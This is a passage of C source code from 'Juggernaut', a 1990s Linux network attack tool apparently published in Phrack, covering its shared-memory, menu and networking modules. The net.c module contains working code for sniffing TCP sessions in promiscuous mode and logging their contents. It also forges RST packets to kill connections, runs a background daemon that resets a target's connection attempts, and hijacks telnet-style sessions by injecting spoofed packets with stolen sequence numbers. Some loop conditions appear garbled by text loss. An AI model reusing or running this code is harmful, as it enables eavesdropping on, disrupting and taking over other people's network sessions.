grant from the Guild corporation * * mem.c - contains shared memory and semaphore control logic * * Multi-process: * Initializing and accesing shared memory: * ---------------------------------------- * - Create the shared segment * - Attach each process to the segment (in our case, the hunter child * process will inherit a pointer to the block) * - Grab a semaphore * - Lock the semaphore; Manipulate shared segment; unlock the semaphore * * * Multi-threaded: */ #include #include #include #include #include #include #include #include #include #include #include #define SHMKEY 242 /* Shared memory key */ #define SEMKEY 424 /* Semaphore key */ #define PERMS 0666 /* Shared Memory Permissions */ #define MAXNODES 512 /* Maximum number of nodes */ #define ADDMSG "+" #define DELMSG "-" int semid; /* Semaphore ID */ struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}}; /* wait for sem#0 to become 0 then increment sem#0 by 1 */ struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}}; /* decrement sem#0 by 1 (sets it to 0) */ struct epack{ /* Generic Ethernet packet w/o data payload */ struct ethhdr eth; /* Ethernet Header */ struct iphdr ip; /* IP header */ struct tcphdr tcp; /* TCP header */ char payload[8192]; /* Data Payload */ }epack; static struct connectionInfo{ /* Simple tuple structure */ unsigned long saddr; /* Source IP */ unsigned long daddr; /* Destination IP */ unsigned short sport; /* Source TCP Port */ unsigned short dport; /* Destination TCP Port */ }*cinfo=0; extern int verbosity; /* * Creates the shared memory segment then attaches it; then creates a binary * semaphore to guarantee exclusive access. Clears the structure array. * Dumps some info. * Much credit to Richard Stevens and Jeff Thompson. */ void powerup(){ void locks(); void ulocks(); void cleardb(); int shmid; /* Shared memory segment id */ int len; len=sizeof(struct connectionInfo)*MAXNODES; /* Request a shared memory segment */ if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){ if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]"); exit(1); } /* Get one semaphore to perform shared memory locking with */ if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){ if(verbosity)perror("(powerup) semaphore allocation error [fatal]"); exit(1); } /* Attach to the shared memory segment */ cinfo=(struct connectionInfo *)shmat(shmid,0,0); cleardb(); } /* * Release the shared memory segment. */ void powerdown(){ void locks(); void ulocks(); locks(); shmdt((char *)cinfo); /* Dettach the segment. */ ulocks(); } /* * Locks the semaphore so the caller can access the shared memory segment. * This is an atomic operation. */ void locks(){ if(semop(semid,&lock[0],2)<0){ if(verbosity)perror("(locks) could not lock semaphore [fatal]"); exit(1); } } /* * Unlocks the semaphore so the caller can access the shared memory segment. * This is an atomic operation. */ void ulocks(){ if(semop(semid,&ulock[0],1)<0){ if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]"); exit(1); } } /* * Add a connection to our list. Linear search of the WHOLE list to see if * it's already there (which IT SHOULDN'T BE...), if not, add it in the * first open slot. */ char *addc(iphp,tcphp) struct iphdr *iphp; struct tcphdr *tcphp; { void locks(); void ulocks(); int i=0; /* A wonderfully inefficient linear search for duplicates */ locks(); /* Lock shared memory segment */ for(;isaddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){ ulocks(); return(0); /* Opps. Found a duplicate */ } /* Find available slot */ for(i=0;isaddr; cinfo[i].daddr=iphp->daddr; cinfo[i].sport=tcphp->source; cinfo[i].dport=tcphp->dest; ulocks(); return(ADDMSG); } } /* Control falls here if array is full (which is indicative of a BUSY NETWORK!@*/ ulocks(); return(0); } /* * Remove a connection from our list. Linear search until we find a * correspoding entry, or we hit the end of the list. */ char *delc(iphp,tcphp) struct iphdr *iphp; struct tcphdr *tcphp; { void locks(); void ulocks(); int i=0; locks(); /* Lock shared memory segment */ for(;isaddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){ bzero(&cinfo[i],sizeof(cinfo[i])); ulocks(); return(DELMSG); /* Inform caller of success */ } ulocks(); return(0); /* hmm. Wierd. */ } /* * Dump the connection list. */ float dumpc() { void locks(); void ulocks(); char *hostLookup(unsigned long); int i=0; float j=0; locks(); for(;i\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport)); j++; } ulocks(); if(!j)return(0); return(((j/MAXNODES)*100)); /* % utilization */ } /* * Check for a connection by index number. Really only here to make sure the * connection hasn't been deleted since dump() was called.... I think I * will deprecate this function in future versions... */ struct connectionInfo *checkc(target) int target; { void locks(); void ulocks(); static struct connectionInfo tmp; locks(); /* Lock shared memory segment */ if(cinfo[--target].saddr){ memcpy(&tmp,&cinfo[target],sizeof(tmp)); ulocks(); return(&tmp); } ulocks(); /* Nope. Not there */ return((struct connectionInfo *)0); } /* * Clear the connection database */ void cleardb(){ void locks(); void ulocks(); int i=0; locks(); for(;i <++> Juggernaut/NumberOneCrush/menu.c /* * * Juggernaut * Version b2 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a grant from the Guild corporation * * menu.c - menu functions. * */ #include extern char version[]; /* * Initial Screen */ void minit(){ printf("\t\t\t J U G G E R N A U T\n"); printf("\t\t multipurpose network tool for Linux\n"); printf("\t\t\t version: %s\n",version); printf("\n\n\n\n\n\n"); printf("\t (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n"); printf("\n\n\n\n\n\n"); } /* * Main Menu */ void mmain(){ printf("\t\t\t Juggernaut\n"); printf("\t\t\t+------------------------------+\n"); printf("\t\t\t?) Help\n"); printf("\t\t\t0) Program information\n"); printf("\t\t\t1) Connection database\n"); printf("\t\t\t2) Spy on a connection\n"); printf("\t\t\t3) Reset a connection\n"); printf("\t\t\t4) Automated connection reset daemon\n"); printf("\t\t\t5) Simplex connection hijack\n"); printf("\t\t\t6) Interactive connection hijack\n"); printf("\t\t\t7) Packet assembly module\n"); printf("\t\t\t8) Souper sekret option number eight\n"); printf("\t\t\t9) Step Down\n"); printf("\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * Packet Assembly Menu [prometheus module] */ void mpkta(){ printf("\t\t\t Packet Assembly Module (beta)\n"); printf("\t\t\t+------------------------------+\n"); printf("\t\t\t1. TCP Assembler\n"); printf("\t\t\t2. UDP Assembler\n"); printf("\t\t\t3. ICMP Assembler\n"); printf("\t\t\t4. IP Assembler\n"); printf("\t\t\t5. Return to previous menu\n"); printf("\n\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * TCP assembly options menu */ void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data) int packetready; unsigned short source; unsigned short destination; unsigned long seqnum; unsigned long acknum; char *control; unsigned short window; char data[512]; { printf("\t\t\t TCP Packet Assembly\n"); printf("\t\t\t+------------------------------+\n"); if(!(packetready&0x01))printf("\t\t\t1. Source port\n"); else printf("\t\t\tSource port: %d\n",source); if(!(packetready&0x02))printf("\t\t\t2. Destination port\n"); else printf("\t\t\tDestination port: %d\n",destination); if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n"); else printf("\t\t\tSequence Number: %ld\n",seqnum); if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n"); else printf("\t\t\tAcknowledgement Number: %ld\n",acknum); if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n"); else printf("\t\t\tControl Flags: %s\n",control); if(!(packetready&0x20))printf("\t\t\t6. Window Size\n"); else printf("\t\t\tWindow Size: %d\n",window); if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t8. Return to previous menu\n"); printf("\t\t\t9. Return to main menu\n"); if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * UDP assembly options menu */ void mpktaudp(packetready,source,destination,data) int packetready; unsigned short source; unsigned short destination; char data[512]; { printf("\t\t\t UDP Packet Assembly\n"); printf("\t\t\t+------------------------------+\n"); if(!(packetready&0x01))printf("\t\t\t1. Source port\n"); else printf("\t\t\tSource port: %d\n",source); if(!(packetready&0x02))printf("\t\t\t2. Destination port\n"); else printf("\t\t\tDestination port: %d\n",destination); if(!(packetready&0x04))printf("\t\t\t3. Data payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t4. Return to previous menu\n"); printf("\t\t\t5. Return to main menu\n"); if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * ICMP assembly options menu */ void mpktaicmp(packetready,type,code,data) int packetready; unsigned short type; unsigned short code; char data[512]; { printf("\t\t\t ICMP Packet Assembly\n"); printf("\t\t\t+------------------------------+\n"); if(!(packetready&0x01))printf("\t\t\t1. Type\n"); else printf("\t\t\tType: %d\n",type); if(!(packetready&0x02))printf("\t\t\t2. Code\n"); else printf("\t\t\tCode: %d\n",code); if(!(packetready&0x04))printf("\t\t\t3. Data payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t4. Return to previous menu\n"); printf("\t\t\t5. Return to main menu\n"); if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * IP assembly options menu */ void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype) int packetready; char *tos; char *fflags; unsigned short fo; unsigned short ttl; char *saddr; char *daddr; int number; char *packettype; { printf("\t\t\t IP Packet Assembly\n"); printf("\t\t\t+------------------------------+\n"); if(!(packetready&0x01))printf("\t\t\t1. TOS\n"); else printf("\t\t\tTOS: %s\n",tos); if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n"); else printf("\t\t\tFragment flags: %s\n",fflags); if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n"); else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff)); if(!(packetready&0x08))printf("\t\t\t4. TTL\n"); else printf("\t\t\tTTL: %d\n",ttl); if(!(packetready&0x10))printf("\t\t\t5. Source Address\n"); else printf("\t\t\tSource Address: %s\n",saddr); if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n"); else printf("\t\t\tDestination Address: %s\n",daddr); if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n"); else printf("\t\t\tSending %d packet(s)\n",number); printf("\t\t\t8. Return to previous menu\n"); printf("\t\t\t9. Return to main menu\n"); if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype); printf("\n\n\n\n\n\n\n\n\n\n"); printf(">"); } /* * Clear the Screen */ void mwipe(){ printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"); } <--> <++> Juggernaut/NumberOneCrush/net.c /* * * Juggernaut * Version b1 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a grant from the Guild corporation * * net.c - network/socket control code and abstract data types * * In the interest of time overhead vs. code size, I created several functions * that do much the same thing. You will notice the reset and jack code is * quite redundant. Life is rough like that. Deal with it. Also, there are * problems with freeing malloc'd memory. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEVICE "eth0" #define ETHHDR 14 #define PHDR 12 #define TCPHDR 20 #define IPHDR 20 #define BUFSIZE 512 #define MINIBUF 10 #define RSTS 10 /* Number of RSTs to send when RSTing a connection */ #define JCKRST 3 /* You may wish to experiment with this value. The smaller it is, your command have less time to complete on the target. However, the ACK storm will also be much shorter... */ #define SNIFLOG "./juggernaut.log.snif" struct iphdr *iphp; /* Pointer into current packets IP header */ struct tcphdr *tcphp; /* Pointer into current packets TCP header */ struct ethhdr *ethhp; /* Pointer into current packets ethernet header */ /* Macro to align the pointers into the ethernet, IP, and TCP headers. */ #define ALIGNNETPOINTERS(){\ ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\ iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\ tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\ } struct epack{ /* Generic Ethernet packet w/o data payload */ struct ethhdr eth; /* Ethernet Header */ struct iphdr ip; /* IP header */ struct tcphdr tcp; /* TCP header */ char payload[8192]; /* Data Payload */ }epack; struct connectionInfo{ unsigned long saddr; /* Source IP */ unsigned long daddr; /* Destination IP */ unsigned short sport; /* Source TCP Port */ unsigned short dport; /* Destination TCP Port */ }; jmp_buf env; /* To preserve our environment */ extern int verbosity; /* Should we dump error messages? */ /* * Creates a low level raw-packet socket and puts the device into promiscuous * mode. */ int tap(device) char *device; { int fd; struct ifreq ifr; /* Link-layer interface request structure */ /* Ethernet code for IP 0x800==ETH_P_IP */ if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]"); exit(1); } strcpy(ifr.ifr_name,device); if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){ /* Get the device info */ if(verbosity)perror("(tap) Can't get device flags [fatal]"); close(fd); exit(1); } ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */ if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */ if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]"); close(fd); exit(1); } return(fd); } /* * Gimme a raw-IP socket. Use of IP_HDRINCL is automatic with 2.0.x * kernels. Not sure about 1.2.x */ int rawsock(){ int fd,val=1; if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ if(verbosity)perror("\n(rawsock) Socket problems [fatal]"); exit(1); } #ifdef IP_HDRINCL if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){ if(verbosity){ perror("Cannot set IP_HDRINCL socket option"); fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]"); getchar(); } } #endif return(fd); } /* * Hunter. At this point, only cares about connection information (infant * connections and tear-downs). I should have it pass SEQ and ACK related * info to the relevant functions... This function will be forked to the * backround as a seperate process, and in future versions it will be * implemented as a seperate thread of execution. */ void chunt(){ void add(struct iphdr *,struct tcphdr *,struct ethhdr *); void del(struct iphdr *,struct tcphdr *); extern int linksock; /* raw packet socket */ ALIGNNETPOINTERS(); /* No alarm timeout here. We block forever until packets zing by */ while(1)if(recv(linksock,&epack,sizeof(epack),0)){ if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp); if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); } } /* * addc() wrapper. Checks to make sure we want to add this connection to * our list.... At this point, we'll take ftp control, ssh (well, we can * RST them) telnet, smtp, http, rlogin, and irc. */ void add(iphp,tcphp,ethhp) struct iphdr *iphp; struct tcphdr *tcphp; struct ethhdr *ethhp; /* Future Use */ { char *addc(struct iphdr *, struct tcphdr *); char *msg; #ifdef GREED if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); #ifdef NOHUSH fprintf(stderr,"%c",7); #endif return; #else switch(ntohs(tcphp->dest)){ case 21: case 22: case 23: case 25: case 80: case 513: case 6667: if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); #ifdef NOHUSH fprintf(stderr,"%c",7); #endif return; default: return; } #endif } /* * delc() wrapper. Checks connection port number to see if we should even * bother passing to the delete function which will do a potentially expensive * linear search... */ void del(iphp,tcphp) struct iphdr *iphp; struct tcphdr *tcphp; { char *delc(struct iphdr *, struct tcphdr *); char *msg; #ifdef GREED if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); return; #else switch(ntohs(tcphp->dest)){ case 21: case 22: case 23: case 25: case 80: case 513: case 6667: if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); return; default: return; } #endif } /* * Spy on a connection. If the packet captured is from the target connection, * call dumpp(). If fp is valid, prepend header/append footer. */ void cspy(target,fp) struct connectionInfo *target; FILE *fp; { char *hostLookup(unsigned long); void dumpp(char *,int,FILE *); extern int sigsentry; int tlinksock=tap(DEVICE); /* Spying tap. XXX- Really dumb way to do this... */ time_t tp; ALIGNNETPOINTERS(); fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport)); if(fp){ fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)); time(&tp); fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp)); } /* NO alaram timeout here. SIGINT kills our spy session */ while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp); if(fp){ fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport) ); time(&tp); fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp)); } close(tlinksock); } /* * Dumps the payload. Dump to file if we have a valid FP. */ void dumpp(payload,length,fp) char *payload; int length; FILE *fp; { register int tickytacky=0; for(;tickytackydport; sin.sin_addr.s_addr=target->saddr; bzero(&tpack,sizeof(tpack)); /* Zero out these structures so I dunot have to assign 0's to the unused areas... */ bzero(&ppheader,sizeof(ppheader)); tpack.tcp.source=target->dport; /* 16-bit Source port number */ tpack.tcp.dest=target->sport; /* 16-bit Destination port */ tpack.tcp.doff=5; /* Data offset */ tpack.tcp.ack=1; /* Acknowledgement field valid flag */ tpack.tcp.rst=1; /* Reset flag */ tpack.tcp.window=htons(242); /* 16-bit Window size */ tpack.ip.version=4; /* 4-bit Version */ tpack.ip.ihl=5; /* 4-bit Header Length */ tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */ tpack.ip.ttl=64; /* 8-bit Time To Live */ tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ tpack.ip.saddr=target->daddr; /* 32-bit Source Address */ tpack.ip.daddr=target->saddr; /* 32-bit Destination Address */ tempBuf=(char *)malloc(PHDR+TCPHDR); /* Checksum stuff */ ppheader=(struct psuedoHeader *)tempBuf; ppheader->saddr=tpack.ip.saddr; ppheader->daddr=tpack.ip.daddr; ppheader->prot=IPPROTO_TCP; ppheader->null=0; ppheader->tlen=htons(TCPHDR); fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport)); if(setjmp(env)){ /* Timeout */ if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n"); return; } signal(SIGALRM,nettimeout); alarm(netreadtimeout); /* Wait 10 seconds for reply */ while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){ for(;mootack_seq+(htonl(moot)); tpack.tcp.ack_seq=tcphp->seq+(htonl(moot)); bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR); sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); } alarm(0); /*free(tempBuf); XXX */ fprintf(stderr,"Connection torn down.\n"); close(tlinksock); break; } } /* * Sets up automated connection reseting. A source and possibly a * destination host are targeted for reseting. This function will kill any * connection attempts from the source (and possibly to a destination). */ void acrst(source,target) unsigned long source, target; { char *hostLookup(unsigned long); unsigned short in_cksum(unsigned short *,int); void spasm(); /* Handles the user defined signal */ struct tpack{ struct iphdr ip; struct tcphdr tcp; }tpack; struct psuedoHeader{ unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char prot; unsigned short tlen; }*ppheader; struct sockaddr_in sin; int moot=0; extern int ripsock; extern int acrstpid; char *tempBuf=0; int tlinksock=tap(DEVICE); switch((acrstpid=fork())){ /* Drop a child to backround, return the parent to continue */ case 0: /* Set the priority up a few notchs.. I get better results */ if(setpriority(PRIO_PROCESS,0,-20)){ if(verbosity)perror("acrst module (setpriority)"); fprintf(stderr,"[cr]"); getchar(); } signal(SIGUSR1,spasm); /* Keep track of the child and register it with the cleanup signal handler */ signal(SIGINT,SIG_IGN); signal(SIGQUIT,SIG_IGN); break; default: return; case -1: if(verbosity)perror("acrst module Internal forking error [fatal]"); exit(1); } ALIGNNETPOINTERS(); /* Preload these values. */ sin.sin_family=AF_INET; bzero(&tpack,sizeof(tpack)); bzero(&ppheader,sizeof(ppheader)); tpack.tcp.doff=5; tpack.tcp.ack=1; tpack.tcp.rst=1; tpack.tcp.window=htons(242); tpack.ip.version=4; tpack.ip.ihl=5; tpack.ip.tot_len=htons(IPHDR+TCPHDR); tpack.ip.ttl=64; tpack.ip.protocol=IPPROTO_TCP; tempBuf=(char *)malloc(PHDR+TCPHDR); ppheader=(struct psuedoHeader *)tempBuf; ppheader->null=0; ppheader->prot=IPPROTO_TCP; ppheader->tlen=htons(TCPHDR); while(1){ if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){ if(target)if(iphp->daddr!=target)continue; sin.sin_port=tcphp->dest; sin.sin_addr.s_addr=iphp->saddr; tpack.tcp.source=tcphp->dest; tpack.tcp.dest=tcphp->source; for(moot=1;mootseq+(htonl(moot)); tpack.tcp.check=0; tpack.ip.saddr=iphp->daddr; tpack.ip.daddr=iphp->saddr; tpack.ip.check=0; ppheader->saddr=tpack.ip.saddr; ppheader->daddr=tpack.ip.daddr; bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR); sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); fprintf(stderr,"%c-%c*",0x08,0x08); } } } } /* * Simplex-hijack. Really just inserts a command into the TCP stream. This * will totally desynch the connection however and cause two things to happen: * 1) an ACK storm of epic proportions (maybe not, see accompanying paper) and * 2) the target user will have her connection destroyed. To alleviate the * first problem, we simply reset the connection shortly after we hijack it. * The second problem is a burden with this kind of hijacking. */ void csimplexhijack(target,commandbuf) struct connectionInfo *target; char *commandbuf; { void nettimeout(); char *hostLookup(unsigned long); unsigned short in_cksum(unsigned short *,int); struct tpack{ /* Generic TCP packet */ struct iphdr ip; struct tcphdr tcp; char payload[BUFSIZE]; }tpack; struct psuedoHeader{ unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char prot; unsigned short tlen; }*ppheader; struct sockaddr_in sin; extern int ripsock; extern int netreadtimeout; static int len; char *tempBuf; int tlinksock=tap(DEVICE); ALIGNNETPOINTERS(); bzero(&tpack,sizeof(tpack)); len=strlen(commandbuf)+1; bcopy(commandbuf,tpack.payload,len--); sin.sin_family=AF_INET; sin.sin_port=target->sport; sin.sin_addr.s_addr=target->daddr; tpack.tcp.source=target->sport; tpack.tcp.dest=target->dport; tpack.tcp.doff=5; tpack.tcp.ack=1; tpack.tcp.psh=1; tpack.tcp.window=htons(242); tpack.ip.version=4; tpack.ip.ihl=5; tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); tpack.ip.ttl=64; tpack.ip.protocol=IPPROTO_TCP; tpack.ip.saddr=target->saddr; tpack.ip.daddr=target->daddr; tempBuf=(char *)malloc(PHDR+TCPHDR+len); /* Check me out y0 */ ppheader=(struct psuedoHeader *)tempBuf; ppheader->saddr=tpack.ip.saddr; ppheader->daddr=tpack.ip.daddr; ppheader->null=0; ppheader->prot=IPPROTO_TCP; ppheader->tlen=htons(TCPHDR+len); fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport)); if(setjmp(env)){ /* Timeout */ if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n"); return; } signal(SIGALRM,nettimeout); alarm(0); alarm(netreadtimeout); /* Wait 10 seconds for reply */ while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){ tpack.tcp.seq=tcphp->ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len); sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin)); fprintf(stderr,"Command inserted, connection desynched.\n"); sleep(JCKRST); /* Don't reset the connection too quickly, or our command may not complete */ crst(target); close(tlinksock); /* free(tempBuf); XXX */ break; } } /* * Hijack. Desynchs the server from the client. The resulting ACK storm * makes things very difficult. */ void chijack(target) struct connectionInfo *target; { void nettimeout(); void seizure(); char *hostLookup(unsigned long); unsigned short in_cksum(unsigned short *,int); struct tpack{ struct iphdr ip; struct tcphdr tcp; char payload[2*BUFSIZE]; }tpack; struct psuedoHeader{ unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char prot; unsigned short tlen; }*ppheader; struct sockaddr_in sin; char buf[10*MINIBUF]; char *tempBuf=0; extern int ripsock; extern int netreadtimeout; extern int sigsentry; static int len; int tlinksock=tap(DEVICE); ALIGNNETPOINTERS(); bzero(&tpack,sizeof(tpack)); sin.sin_family=AF_INET; sin.sin_port=target->sport; sin.sin_addr.s_addr=target->daddr; tpack.tcp.source=target->sport; tpack.tcp.dest=target->dport; tpack.tcp.doff=5; tpack.tcp.ack=1; tpack.tcp.psh=1; tpack.tcp.window=htons(1024); tpack.ip.version=4; tpack.ip.ihl=5; tpack.ip.ttl=64; tpack.ip.protocol=IPPROTO_TCP; tpack.ip.saddr=target->saddr; tpack.ip.daddr=target->daddr; tempBuf=(char *)malloc(PHDR+TCPHDR+len); ppheader=(struct psuedoHeader *)tempBuf; ppheader->saddr=tpack.ip.saddr; ppheader->daddr=tpack.ip.daddr; ppheader->null=0; ppheader->prot=IPPROTO_TCP; signal(SIGINT,seizure); fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport)); fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); fprintf(stderr,"juggernaut>"); fgets(buf,sizeof(buf),stdin); len=strlen(buf)+1; bcopy(buf,tpack.payload,len--); tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); ppheader->tlen=htons(TCPHDR+len); if(setjmp(env)){ if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n"); return; } signal(SIGALRM,nettimeout); alarm(0); alarm(netreadtimeout); /* Here we setup the initial hijack state. We need to desynch the connection, and the next packet that comes by will be the catalyst. */ while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){ tpack.tcp.seq=tcphp->ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len); sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin)); break; } alarm(0); while(sigsentry){ /* Main hijack loop */ if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){ if(!tcphp->psh)continue; /* If this is not data, ignore it */ dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0); bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf),stdin); if(!buf[1])continue; /* No input data (CR) */ len=strlen(buf)+1; bcopy(buf,tpack.payload,len--); tpack.tcp.psh=1; tpack.tcp.check=0; tpack.ip.check=0; tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); tpack.tcp.seq=tcphp->ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); ppheader->tlen=htons(TCPHDR+len); bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len); sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin)); } } crst(target); /*free(tempBuf); XXX */ close(tlinksock); } /* * Packet sniffer parses TCP packets for token. Logs that packet, along with * the next 'enticement` number of packets. Not really all that robust. */ void bloodhound(token,enticementfactor) char *token; int enticementfactor; { void parsep(char *,int,FILE *); void shadow(); char *hostLookup(unsigned long); FILE *fp=0; time_t tp=0; int length=0; int grabflag=0; /* Time to grab some packets */ unsigned long targetsourceip=0; unsigned short targetsourceport=0; int tlinksock=tap(DEVICE); if(!(fp=fopen(SNIFLOG,"a+"))){ /* Log to file */ if(verbosity){ fprintf(stderr,"Cannot open file for logging. [fatal]\n"); fprintf(stderr,"[cr]"); } exit(0); } ALIGNNETPOINTERS(); fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n"); shadow(); /* Dropped to the background */ fprintf(stderr,"\nSend a SIGKILL to %d 